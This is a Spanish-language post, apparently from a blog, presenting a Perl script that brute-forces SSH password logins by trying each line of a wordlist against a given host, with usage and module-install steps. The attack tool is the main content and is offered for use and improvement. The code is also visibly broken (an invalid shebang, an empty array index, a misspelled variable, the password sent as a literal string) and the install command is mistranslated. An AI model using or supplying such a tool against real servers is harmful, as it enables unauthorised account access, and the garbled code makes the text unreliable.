SSH Bruteforce Script en Perl

Aqui les dejo con un script simple que he escrito en Perl dirigido a principiantes.

Este es un script de fuerza bruta SSH simple para la autenticación de contraseña de usuario. Debo tener en cuenta que esto no funcionará si el servidor usa claves que son más seguras y la mayoría las usa ahora, pero no se trata mucho de piratería, sino más bien de educación y aprendizaje de un nuevo idioma. Utilice esto y mejórelo si lo desea.

El código:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

#!/bin/sh/perl use Net::SSH::Expect; my $username = @ARGV[]; my $password_list = @ARGV[1]; my $host = @ARGV[2]; my $ssh; #usage: perl ssh_brute.pl username password_list host open(WORDLIST, "$password_list") or die "[!] Failed to open: $password_list"; #read each line of the file #try it as a password @wordlist=<WORDLIST>; foreach $password (@wordlist) { chomp($passwod); print "[*]Trying $password \n"; #try the password with user-password authentication #build the constructor my $ssh = Net::SSH::Expect -> new ( host => "$host", password => '$password', user => '$username', raw_pty => 1 ); if($ssh -> login()) { print "[*]$password is the password to $host."; $ssh -> close(); die; } } die "[!] Password was not found.";

Para ejecutarlo, simplemente escriba: perl ssh_brute.pl username password_list host

Si recibe un error de que falta Net :: SSH :: Expect, ejecute:

cpan

Que:

instalar Net :: SSH :: Esperar

Y esto debería instalar la biblioteca requerida.